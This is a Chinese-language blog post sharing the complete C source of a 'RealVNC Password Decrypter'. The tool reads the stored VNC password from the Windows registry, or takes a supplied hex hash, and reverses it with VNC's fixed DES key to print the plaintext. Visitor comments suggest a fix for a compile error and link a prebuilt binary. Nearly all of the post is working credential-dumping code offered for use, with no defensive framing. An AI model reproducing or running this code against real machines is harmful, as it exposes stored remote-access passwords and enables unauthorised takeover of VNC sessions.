decrypts RealVNC passwords

C++代码
  1. // +----------------------------------------------------------------------------+   
  2. // | vncdec.c - decrypts RealVNC passwords                                      |   
  3. // +----------------------------------------------------------------------------+   
  4. // | Copyright (c) 2004 JP Websolutions                                         |   
  5. // +----------------------------------------------------------------------------+   
  6. // | Author:    JP Websolutions, Jonas Piela                                    |   
  7. // | e-Mail:    jonas.piela@jp-websolutions.de                                  |   
  8. // | Internet:  http://www.jp-websolutions.de                                   |   
  9. // +----------------------------------------------------------------------------+   
  10. // | Redistribution and use in source and binary forms, with or without         |   
  11. // | modification, are permitted provided that the following conditions         |   
  12. // | are met:                                                                   |   
  13. // | 1. Redistributions of source code must retain the above copyright          |   
  14. // |    notice, this list of conditions and the following disclaimer as         |   
  15. // |    the first lines of this file unmodified.                                |   
  16. // | 2. Redistributions in binary form must reproduce the above copyright       |   
  17. // |    notice, this list of conditions and the following disclaimer in the     |   
  18. // |    documentation and/or other materials provided with the distribution.    |   
  19. // |                                                                            |   
  20. // | THIS SOFTWARE IS PROVIDED BY JONAS PIELA ``AS IS'' AND ANY EXPRESS OR      |   
  21. // | IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES  |   
  22. // | OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.    |   
  23. // | IN NO EVENT SHALL JONAS PIELA BE LIABLE FOR ANY DIRECT, INDIRECT,          |   
  24. // | INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT   |   
  25. // | NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,  |   
  26. // | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY      |   
  27. // | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT        |   
  28. // | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF   |   
  29. // | THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.          |   
  30. // +----------------------------------------------------------------------------+   
  31. // | Download from: http://www.jonaspiela.de                                    |   
  32. // +----------------------------------------------------------------------------+   
  33.   
  34.   
  35. #include <windows.h>   
  36. #include <stdio.h>   
  37. #include <stdlib.h>   
  38. #include <string.h>   
  39. #include <sys/types.h>   
  40. #include <sys/stat.h>   
  41.   
  42. #define MAXPWLEN 8   
  43. #define CHALLENGESIZE 16   
  44. #define EN0     0       /* MODE == encrypt */   
  45. #define DE1     0       /* MODE == decrypt */   
  46.   
  47. int vncEncryptPasswd(char *passwd, char *fname);   
  48. char *vncDecryptPasswd(char *fname);   
  49. void vncRandomBytes(unsigned char *bytes);   
  50. void vncEncryptBytes(unsigned char *bytes, const char *passwd);   
  51. void deskey(unsigned char *, int);   
  52. void usekey(unsigned long *);   
  53. void cpkey(unsigned long *);   
  54. void des(unsigned char *, unsigned char *);   
  55.   
  56. unsigned char fixedkey[8] = {23,82,107,6,35,78,88,7};   
  57.   
  58. // Pfad in der Registry zu den Serials   
  59. char cRegPath[100]= {"Software\\ORL\\WinVNC3\\Default"};   
  60. char cRegKey[100]= {"Password"};   
  61. HKEY REG_HKEY = HKEY_LOCAL_MACHINE;   
  62.   
  63. void main (int argc, char *argv []){   
  64.     printf("----------------------------------\n");   
  65.     printf("RealVNC Password Decrypter\n");   
  66.     printf("by Jonas Piela, www.jonaspiela.de\n");   
  67.     printf("----------------------------------\n\n");   
  68.   
  69.     if(argc == 1)   
  70.     {   
  71.         printf("registry mode: vncdec.exe -r\n");   
  72.         printf("hash mode: vncdec.exe <passord hash>\n");   
  73.     }   
  74.     else if(!strcmp(argv[1], "-r"))   
  75.     {   
  76.         DWORD value[MAX_PATH];   
  77.         char serial[MAX_PATH];   
  78.         DWORD dwType = REG_DWORD;   
  79.         DWORD dwSize = MAX_PATH;   
  80.         HKEY m_hkey;   
  81.   
  82.         printf("running in automatic mode...\n");   
  83.         printf("loading registry... ");   
  84.         if(RegOpenKeyEx(REG_HKEY, (LPCTSTR)cRegPath, NULL, KEY_READ, &m_hkey)!=ERROR_SUCCESS)   
  85.         {   
  86.             printf("failed!\n");   
  87.             exit(1);   
  88.         }   
  89.         else  
  90.         {   
  91.             printf("done.\n");   
  92.             printf("reading password hash... ");   
  93.             if (RegQueryValueEx(m_hkey, cRegKey, NULL, &dwType, (LPBYTE)value, &dwSize)!= ERROR_SUCCESS)    
  94.             {   
  95.                 printf("failed!\n");   
  96.                 exit(2);   
  97.             }   
  98.             else  
  99.             {   
  100.                 printf("done.\n\n");   
  101.                 printf("----------------------------------\n");   
  102.                 printf("decrypted password: %s\n",vncDecryptPasswd(value));   
  103.                 printf("----------------------------------\n");   
  104.                 exit(0);   
  105.             }   
  106.         }   
  107.     }   
  108.     else  
  109.     {   
  110.         char p2[8];   
  111.         int i, firstdig, secdig;   
  112.   
  113.         for (i = 0; i <=7 ; i++) {   
  114.             //get the first two xdigits   
  115.             firstdig=argv[1][2*i];   
  116.             secdig=argv[1][2*i+1];   
  117.                
  118.             //begin conversion to integers   
  119.             firstdig-=48;   
  120.             secdig-=48;   
  121.                
  122.             //they might have been lowercase letters, so fix that   
  123.             if (firstdig > 9) firstdig-=39;   
  124.             if (secdig > 9) secdig-=39;   
  125.   
  126.             // assign the appropriate value to the array   
  127.             p2[i]=firstdig*16 + secdig;   
  128.         }   
  129.   
  130.   
  131.         printf("running in hash mode...\n");   
  132.         printf("----------------------------------\n");   
  133.         printf("decrypted password: %s\n",vncDecryptPasswd(p2));   
  134.         printf("----------------------------------\n");   
  135.     }   
  136. }   
  137.   
  138.   
  139. char *   
  140. vncDecryptPasswd(char *inouttext)   
  141. {   
  142.     unsigned char *passwd = (unsigned char *)malloc(9);   
  143.   
  144.     deskey(fixedkey, DE1);   
  145.     des(inouttext, passwd);   
  146.   
  147.     passwd[8] = 0;   
  148.   
  149.     return (char *)passwd;   
  150. }   
  151.   
  152.   
  153. static void scrunch(unsigned char *, unsigned long *);   
  154. static void unscrun(unsigned long *, unsigned char *);   
  155. static void desfunc(unsigned long *, unsigned long *);   
  156. static void cookey(unsigned long *);   
  157.   
  158. static unsigned long KnL[32] = { 0L };   
  159. static unsigned long KnR[32] = { 0L };   
  160. static unsigned long Kn3[32] = { 0L };   
  161. static unsigned char Df_Key[24] = {   
  162.     0x01,0x23,0x45,0x67,0x89,0xab,0xcd,0xef,   
  163.     0xfe,0xdc,0xba,0x98,0x76,0x54,0x32,0x10,   
  164.     0x89,0xab,0xcd,0xef,0x01,0x23,0x45,0x67 };   
  165.   
  166. static unsigned short bytebit[8]    = {   
  167.     01, 02, 04, 010, 020, 040, 0100, 0200 };   
  168.   
  169. static unsigned long bigbyte[24] = {   
  170.     0x800000L,  0x400000L,  0x200000L,  0x100000L,   
  171.     0x80000L,   0x40000L,   0x20000L,   0x10000L,   
  172.     0x8000L,    0x4000L,    0x2000L,    0x1000L,   
  173.     0x800L,     0x400L,     0x200L,     0x100L,   
  174.     0x80L,      0x40L,      0x20L,      0x10L,   
  175.     0x8L,       0x4L,       0x2L,       0x1L    };   
  176.   
  177. /* Use the key schedule specified in the Standard (ANSI X3.92-1981). */  
  178.   
  179. static unsigned char pc1[56] = {   
  180.     56, 48, 40, 32, 24, 16,  8,  0, 57, 49, 41, 33, 25, 17,   
  181.      9,  1, 58, 50, 42, 34, 26, 18, 10,  2, 59, 51, 43, 35,   
  182.     62, 54, 46, 38, 30, 22, 14,  6, 61, 53, 45, 37, 29, 21,   
  183.     13,  5, 60, 52, 44, 36, 28, 20, 12,  4, 27, 19, 11,  3 };   
  184.   
  185. static unsigned char totrot[16] = {   
  186.     1,2,4,6,8,10,12,14,15,17,19,21,23,25,27,28 };   
  187.   
  188. static unsigned char pc2[48] = {   
  189.     13, 16, 10, 23,  0,  4,  2, 27, 14,  5, 20,  9,   
  190.     22, 18, 11,  3, 25,  7, 15,  6, 26, 19, 12,  1,   
  191.     40, 51, 30, 36, 46, 54, 29, 39, 50, 44, 32, 47,   
  192.     43, 48, 38, 55, 33, 52, 45, 41, 49, 35, 28, 31 };   
  193.   
  194. void deskey(key, edf)   /* Thanks to James Gillogly & Phil Karn! */  
  195. unsigned char *key;   
  196. int edf;   
  197. {   
  198.     register int i, j, l, m, n;   
  199.     unsigned char pc1m[56], pcr[56];   
  200.     unsigned long kn[32];   
  201.   
  202.     for ( j = 0; j < 56; j++ ) {   
  203.         l = pc1[j];   
  204.         m = l & 07;   
  205.         pc1m[j] = (key[l >> 3] & bytebit[m]) ? 1 : 0;   
  206.         }   
  207.     for( i = 0; i < 16; i++ ) {   
  208.         if( edf == DE1 ) m = (15 - i) << 1;   
  209.         else m = i << 1;   
  210.         n = m + 1;   
  211.         kn[m] = kn[n] = 0L;   
  212.         for( j = 0; j < 28; j++ ) {   
  213.             l = j + totrot[i];   
  214.             if( l < 28 ) pcr[j] = pc1m[l];   
  215.             else pcr[j] = pc1m[l - 28];   
  216.             }   
  217.         for( j = 28; j < 56; j++ ) {   
  218.             l = j + totrot[i];   
  219.             if( l < 56 ) pcr[j] = pc1m[l];   
  220.             else pcr[j] = pc1m[l - 28];   
  221.             }   
  222.         for( j = 0; j < 24; j++ ) {   
  223.             if( pcr[pc2[j]] ) kn[m] |= bigbyte[j];   
  224.             if( pcr[pc2[j+24]] ) kn[n] |= bigbyte[j];   
  225.             }   
  226.         }   
  227.     cookey(kn);   
  228.     return;   
  229.     }   
  230.   
  231. static void cookey(raw1)   
  232. register unsigned long *raw1;   
  233. {   
  234.     register unsigned long *cook, *raw0;   
  235.     unsigned long dough[32];   
  236.     register int i;   
  237.   
  238.     cook = dough;   
  239.     for( i = 0; i < 16; i++, raw1++ ) {   
  240.         raw0 = raw1++;   
  241.         *cook    = (*raw0 & 0x00fc0000L) << 6;   
  242.         *cook   |= (*raw0 & 0x00000fc0L) << 10;   
  243.         *cook   |= (*raw1 & 0x00fc0000L) >> 10;   
  244.         *cook++ |= (*raw1 & 0x00000fc0L) >> 6;   
  245.         *cook    = (*raw0 & 0x0003f000L) << 12;   
  246.         *cook   |= (*raw0 & 0x0000003fL) << 16;   
  247.         *cook   |= (*raw1 & 0x0003f000L) >> 4;   
  248.         *cook++ |= (*raw1 & 0x0000003fL);   
  249.         }   
  250.     usekey(dough);   
  251.     return;   
  252.     }   
  253.   
  254. void cpkey(into)   
  255. register unsigned long *into;   
  256. {   
  257.     register unsigned long *from, *endp;   
  258.   
  259.     from = KnL, endp = &KnL[32];   
  260.     while( from < endp ) *into++ = *from++;   
  261.     return;   
  262.     }   
  263.   
  264. void usekey(from)   
  265. register unsigned long *from;   
  266. {   
  267.     register unsigned long *to, *endp;   
  268.   
  269.     to = KnL, endp = &KnL[32];   
  270.     while( to < endp ) *to++ = *from++;   
  271.     return;   
  272.     }   
  273.   
  274. void des(inblock, outblock)   
  275. unsigned char *inblock, *outblock;   
  276. {   
  277.     unsigned long work[2];   
  278.   
  279.     scrunch(inblock, work);   
  280.     desfunc(work, KnL);   
  281.     unscrun(work, outblock);   
  282.     return;   
  283.     }   
  284.   
  285. static void scrunch(outof, into)   
  286. register unsigned char *outof;   
  287. register unsigned long *into;   
  288. {   
  289.     *into    = (*outof++ & 0xffL) << 24;   
  290.     *into   |= (*outof++ & 0xffL) << 16;   
  291.     *into   |= (*outof++ & 0xffL) << 8;   
  292.     *into++ |= (*outof++ & 0xffL);   
  293.     *into    = (*outof++ & 0xffL) << 24;   
  294.     *into   |= (*outof++ & 0xffL) << 16;   
  295.     *into   |= (*outof++ & 0xffL) << 8;   
  296.     *into   |= (*outof   & 0xffL);   
  297.     return;   
  298.     }   
  299.   
  300. static void unscrun(outof, into)   
  301. register unsigned long *outof;   
  302. register unsigned char *into;   
  303. {   
  304.     *into++ = (*outof >> 24) & 0xffL;   
  305.     *into++ = (*outof >> 16) & 0xffL;   
  306.     *into++ = (*outof >>  8) & 0xffL;   
  307.     *into++ =  *outof++  & 0xffL;   
  308.     *into++ = (*outof >> 24) & 0xffL;   
  309.     *into++ = (*outof >> 16) & 0xffL;   
  310.     *into++ = (*outof >>  8) & 0xffL;   
  311.     *into   =  *outof    & 0xffL;   
  312.     return;   
  313.     }   
  314.   
  315. static unsigned long SP1[64] = {   
  316.     0x01010400L, 0x00000000L, 0x00010000L, 0x01010404L,   
  317.     0x01010004L, 0x00010404L, 0x00000004L, 0x00010000L,   
  318.     0x00000400L, 0x01010400L, 0x01010404L, 0x00000400L,   
  319.     0x01000404L, 0x01010004L, 0x01000000L, 0x00000004L,   
  320.     0x00000404L, 0x01000400L, 0x01000400L, 0x00010400L,   
  321.     0x00010400L, 0x01010000L, 0x01010000L, 0x01000404L,   
  322.     0x00010004L, 0x01000004L, 0x01000004L, 0x00010004L,   
  323.     0x00000000L, 0x00000404L, 0x00010404L, 0x01000000L,   
  324.     0x00010000L, 0x01010404L, 0x00000004L, 0x01010000L,   
  325.     0x01010400L, 0x01000000L, 0x01000000L, 0x00000400L,   
  326.     0x01010004L, 0x00010000L, 0x00010400L, 0x01000004L,   
  327.     0x00000400L, 0x00000004L, 0x01000404L, 0x00010404L,   
  328.     0x01010404L, 0x00010004L, 0x01010000L, 0x01000404L,   
  329.     0x01000004L, 0x00000404L, 0x00010404L, 0x01010400L,   
  330.     0x00000404L, 0x01000400L, 0x01000400L, 0x00000000L,   
  331.     0x00010004L, 0x00010400L, 0x00000000L, 0x01010004L };   
  332.   
  333. static unsigned long SP2[64] = {   
  334.     0x80108020L, 0x80008000L, 0x00008000L, 0x00108020L,   
  335.     0x00100000L, 0x00000020L, 0x80100020L, 0x80008020L,   
  336.     0x80000020L, 0x80108020L, 0x80108000L, 0x80000000L,   
  337.     0x80008000L, 0x00100000L, 0x00000020L, 0x80100020L,   
  338.     0x00108000L, 0x00100020L, 0x80008020L, 0x00000000L,   
  339.     0x80000000L, 0x00008000L, 0x00108020L, 0x80100000L,   
  340.     0x00100020L, 0x80000020L, 0x00000000L, 0x00108000L,   
  341.     0x00008020L, 0x80108000L, 0x80100000L, 0x00008020L,   
  342.     0x00000000L, 0x00108020L, 0x80100020L, 0x00100000L,   
  343.     0x80008020L, 0x80100000L, 0x80108000L, 0x00008000L,   
  344.     0x80100000L, 0x80008000L, 0x00000020L, 0x80108020L,   
  345.     0x00108020L, 0x00000020L, 0x00008000L, 0x80000000L,   
  346.     0x00008020L, 0x80108000L, 0x00100000L, 0x80000020L,   
  347.     0x00100020L, 0x80008020L, 0x80000020L, 0x00100020L,   
  348.     0x00108000L, 0x00000000L, 0x80008000L, 0x00008020L,   
  349.     0x80000000L, 0x80100020L, 0x80108020L, 0x00108000L };   
  350.   
  351. static unsigned long SP3[64] = {   
  352.     0x00000208L, 0x08020200L, 0x00000000L, 0x08020008L,   
  353.     0x08000200L, 0x00000000L, 0x00020208L, 0x08000200L,   
  354.     0x00020008L, 0x08000008L, 0x08000008L, 0x00020000L,   
  355.     0x08020208L, 0x00020008L, 0x08020000L, 0x00000208L,   
  356.     0x08000000L, 0x00000008L, 0x08020200L, 0x00000200L,   
  357.     0x00020200L, 0x08020000L, 0x08020008L, 0x00020208L,   
  358.     0x08000208L, 0x00020200L, 0x00020000L, 0x08000208L,   
  359.     0x00000008L, 0x08020208L, 0x00000200L, 0x08000000L,   
  360.     0x08020200L, 0x08000000L, 0x00020008L, 0x00000208L,   
  361.     0x00020000L, 0x08020200L, 0x08000200L, 0x00000000L,   
  362.     0x00000200L, 0x00020008L, 0x08020208L, 0x08000200L,   
  363.     0x08000008L, 0x00000200L, 0x00000000L, 0x08020008L,   
  364.     0x08000208L, 0x00020000L, 0x08000000L, 0x08020208L,   
  365.     0x00000008L, 0x00020208L, 0x00020200L, 0x08000008L,   
  366.     0x08020000L, 0x08000208L, 0x00000208L, 0x08020000L,   
  367.     0x00020208L, 0x00000008L, 0x08020008L, 0x00020200L };   
  368.   
  369. static unsigned long SP4[64] = {   
  370.     0x00802001L, 0x00002081L, 0x00002081L, 0x00000080L,   
  371.     0x00802080L, 0x00800081L, 0x00800001L, 0x00002001L,   
  372.     0x00000000L, 0x00802000L, 0x00802000L, 0x00802081L,   
  373.     0x00000081L, 0x00000000L, 0x00800080L, 0x00800001L,   
  374.     0x00000001L, 0x00002000L, 0x00800000L, 0x00802001L,   
  375.     0x00000080L, 0x00800000L, 0x00002001L, 0x00002080L,   
  376.     0x00800081L, 0x00000001L, 0x00002080L, 0x00800080L,   
  377.     0x00002000L, 0x00802080L, 0x00802081L, 0x00000081L,   
  378.     0x00800080L, 0x00800001L, 0x00802000L, 0x00802081L,   
  379.     0x00000081L, 0x00000000L, 0x00000000L, 0x00802000L,   
  380.     0x00002080L, 0x00800080L, 0x00800081L, 0x00000001L,   
  381.     0x00802001L, 0x00002081L, 0x00002081L, 0x00000080L,   
  382.     0x00802081L, 0x00000081L, 0x00000001L, 0x00002000L,   
  383.     0x00800001L, 0x00002001L, 0x00802080L, 0x00800081L,   
  384.     0x00002001L, 0x00002080L, 0x00800000L, 0x00802001L,   
  385.     0x00000080L, 0x00800000L, 0x00002000L, 0x00802080L };   
  386.   
  387. static unsigned long SP5[64] = {   
  388.     0x00000100L, 0x02080100L, 0x02080000L, 0x42000100L,   
  389.     0x00080000L, 0x00000100L, 0x40000000L, 0x02080000L,   
  390.     0x40080100L, 0x00080000L, 0x02000100L, 0x40080100L,   
  391.     0x42000100L, 0x42080000L, 0x00080100L, 0x40000000L,   
  392.     0x02000000L, 0x40080000L, 0x40080000L, 0x00000000L,   
  393.     0x40000100L, 0x42080100L, 0x42080100L, 0x02000100L,   
  394.     0x42080000L, 0x40000100L, 0x00000000L, 0x42000000L,   
  395.     0x02080100L, 0x02000000L, 0x42000000L, 0x00080100L,   
  396.     0x00080000L, 0x42000100L, 0x00000100L, 0x02000000L,   
  397.     0x40000000L, 0x02080000L, 0x42000100L, 0x40080100L,   
  398.     0x02000100L, 0x40000000L, 0x42080000L, 0x02080100L,   
  399.     0x40080100L, 0x00000100L, 0x02000000L, 0x42080000L,   
  400.     0x42080100L, 0x00080100L, 0x42000000L, 0x42080100L,   
  401.     0x02080000L, 0x00000000L, 0x40080000L, 0x42000000L,   
  402.     0x00080100L, 0x02000100L, 0x40000100L, 0x00080000L,   
  403.     0x00000000L, 0x40080000L, 0x02080100L, 0x40000100L };   
  404.   
  405. static unsigned long SP6[64] = {   
  406.     0x20000010L, 0x20400000L, 0x00004000L, 0x20404010L,   
  407.     0x20400000L, 0x00000010L, 0x20404010L, 0x00400000L,   
  408.     0x20004000L, 0x00404010L, 0x00400000L, 0x20000010L,   
  409.     0x00400010L, 0x20004000L, 0x20000000L, 0x00004010L,   
  410.     0x00000000L, 0x00400010L, 0x20004010L, 0x00004000L,   
  411.     0x00404000L, 0x20004010L, 0x00000010L, 0x20400010L,   
  412.     0x20400010L, 0x00000000L, 0x00404010L, 0x20404000L,   
  413.     0x00004010L, 0x00404000L, 0x20404000L, 0x20000000L,   
  414.     0x20004000L, 0x00000010L, 0x20400010L, 0x00404000L,   
  415.     0x20404010L, 0x00400000L, 0x00004010L, 0x20000010L,   
  416.     0x00400000L, 0x20004000L, 0x20000000L, 0x00004010L,   
  417.     0x20000010L, 0x20404010L, 0x00404000L, 0x20400000L,   
  418.     0x00404010L, 0x20404000L, 0x00000000L, 0x20400010L,   
  419.     0x00000010L, 0x00004000L, 0x20400000L, 0x00404010L,   
  420.     0x00004000L, 0x00400010L, 0x20004010L, 0x00000000L,   
  421.     0x20404000L, 0x20000000L, 0x00400010L, 0x20004010L };   
  422.   
  423. static unsigned long SP7[64] = {   
  424.     0x00200000L, 0x04200002L, 0x04000802L, 0x00000000L,   
  425.     0x00000800L, 0x04000802L, 0x00200802L, 0x04200800L,   
  426.     0x04200802L, 0x00200000L, 0x00000000L, 0x04000002L,   
  427.     0x00000002L, 0x04000000L, 0x04200002L, 0x00000802L,   
  428.     0x04000800L, 0x00200802L, 0x00200002L, 0x04000800L,   
  429.     0x04000002L, 0x04200000L, 0x04200800L, 0x00200002L,   
  430.     0x04200000L, 0x00000800L, 0x00000802L, 0x04200802L,   
  431.     0x00200800L, 0x00000002L, 0x04000000L, 0x00200800L,   
  432.     0x04000000L, 0x00200800L, 0x00200000L, 0x04000802L,   
  433.     0x04000802L, 0x04200002L, 0x04200002L, 0x00000002L,   
  434.     0x00200002L, 0x04000000L, 0x04000800L, 0x00200000L,   
  435.     0x04200800L, 0x00000802L, 0x00200802L, 0x04200800L,   
  436.     0x00000802L, 0x04000002L, 0x04200802L, 0x04200000L,   
  437.     0x00200800L, 0x00000000L, 0x00000002L, 0x04200802L,   
  438.     0x00000000L, 0x00200802L, 0x04200000L, 0x00000800L,   
  439.     0x04000002L, 0x04000800L, 0x00000800L, 0x00200002L };   
  440.   
  441. static unsigned long SP8[64] = {   
  442.     0x10001040L, 0x00001000L, 0x00040000L, 0x10041040L,   
  443.     0x10000000L, 0x10001040L, 0x00000040L, 0x10000000L,   
  444.     0x00040040L, 0x10040000L, 0x10041040L, 0x00041000L,   
  445.     0x10041000L, 0x00041040L, 0x00001000L, 0x00000040L,   
  446.     0x10040000L, 0x10000040L, 0x10001000L, 0x00001040L,   
  447.     0x00041000L, 0x00040040L, 0x10040040L, 0x10041000L,   
  448.     0x00001040L, 0x00000000L, 0x00000000L, 0x10040040L,   
  449.     0x10000040L, 0x10001000L, 0x00041040L, 0x00040000L,   
  450.     0x00041040L, 0x00040000L, 0x10041000L, 0x00001000L,   
  451.     0x00000040L, 0x10040040L, 0x00001000L, 0x00041040L,   
  452.     0x10001000L, 0x00000040L, 0x10000040L, 0x10040000L,   
  453.     0x10040040L, 0x10000000L, 0x00040000L, 0x10001040L,   
  454.     0x00000000L, 0x10041040L, 0x00040040L, 0x10000040L,   
  455.     0x10040000L, 0x10001000L, 0x10001040L, 0x00000000L,   
  456.     0x10041040L, 0x00041000L, 0x00041000L, 0x00001040L,   
  457.     0x00001040L, 0x00040040L, 0x10000000L, 0x10041000L };   
  458.   
  459. static void desfunc(block, keys)   
  460. register unsigned long *block, *keys;   
  461. {   
  462.     register unsigned long fval, work, right, leftt;   
  463.     register int round;   
  464.   
  465.     leftt = block[0];   
  466.     right = block[1];   
  467.     work = ((leftt >> 4) ^ right) & 0x0f0f0f0fL;   
  468.     right ^= work;   
  469.     leftt ^= (work << 4);   
  470.     work = ((leftt >> 16) ^ right) & 0x0000ffffL;   
  471.     right ^= work;   
  472.     leftt ^= (work << 16);   
  473.     work = ((right >> 2) ^ leftt) & 0x33333333L;   
  474.     leftt ^= work;   
  475.     right ^= (work << 2);   
  476.     work = ((right >> 8) ^ leftt) & 0x00ff00ffL;   
  477.     leftt ^= work;   
  478.     right ^= (work << 8);   
  479.     right = ((right << 1) | ((right >> 31) & 1L)) & 0xffffffffL;   
  480.     work = (leftt ^ right) & 0xaaaaaaaaL;   
  481.     leftt ^= work;   
  482.     right ^= work;   
  483.     leftt = ((leftt << 1) | ((leftt >> 31) & 1L)) & 0xffffffffL;   
  484.   
  485.     for( round = 0; round < 8; round++ ) {   
  486.         work  = (right << 28) | (right >> 4);   
  487.         work ^= *keys++;   
  488.         fval  = SP7[ work        & 0x3fL];   
  489.         fval |= SP5[(work >>  8) & 0x3fL];   
  490.         fval |= SP3[(work >> 16) & 0x3fL];   
  491.         fval |= SP1[(work >> 24) & 0x3fL];   
  492.         work  = right ^ *keys++;   
  493.         fval |= SP8[ work        & 0x3fL];   
  494.         fval |= SP6[(work >>  8) & 0x3fL];   
  495.         fval |= SP4[(work >> 16) & 0x3fL];   
  496.         fval |= SP2[(work >> 24) & 0x3fL];   
  497.         leftt ^= fval;   
  498.         work  = (leftt << 28) | (leftt >> 4);   
  499.         work ^= *keys++;   
  500.         fval  = SP7[ work        & 0x3fL];   
  501.         fval |= SP5[(work >>  8) & 0x3fL];   
  502.         fval |= SP3[(work >> 16) & 0x3fL];   
  503.         fval |= SP1[(work >> 24) & 0x3fL];   
  504.         work  = leftt ^ *keys++;   
  505.         fval |= SP8[ work        & 0x3fL];   
  506.         fval |= SP6[(work >>  8) & 0x3fL];   
  507.         fval |= SP4[(work >> 16) & 0x3fL];   
  508.         fval |= SP2[(work >> 24) & 0x3fL];   
  509.         right ^= fval;   
  510.         }   
  511.   
  512.     right = (right << 31) | (right >> 1);   
  513.     work = (leftt ^ right) & 0xaaaaaaaaL;   
  514.     leftt ^= work;   
  515.     right ^= work;   
  516.     leftt = (leftt << 31) | (leftt >> 1);   
  517.     work = ((leftt >> 8) ^ right) & 0x00ff00ffL;   
  518.     right ^= work;   
  519.     leftt ^= (work << 8);   
  520.     work = ((leftt >> 2) ^ right) & 0x33333333L;   
  521.     right ^= work;   
  522.     leftt ^= (work << 2);   
  523.     work = ((right >> 16) ^ leftt) & 0x0000ffffL;   
  524.     leftt ^= work;   
  525.     right ^= (work << 16);   
  526.     work = ((right >> 4) ^ leftt) & 0x0f0f0f0fL;   
  527.     leftt ^= work;   
  528.     right ^= (work << 4);   
  529.     *block++ = right;   
  530.     *block = leftt;   
  531.     return;   
  532.     }  

Tags: vnc, password

« 上一篇 | 下一篇 »

相关文章

访客评论

  1. #1 Arno 2009, March 6, 5:54 PM
    有错误。。要改改。
    把出错的那句,value前面加(char *)应该可以了。
    顺便B4 七贱发个有错出来。
  2. #2 Arno 2009, March 10, 3:35 PM
    哈哈。。手多无聊弄了个成品。http://promise.cnxhacker.com/life/article/tools/decrypts_vnc.html
  3. #3 二少 2009, March 15, 1:57 PM
    貌似给过我一个成品了

发表评论

评论内容 (必填):

点击获得Trackback地址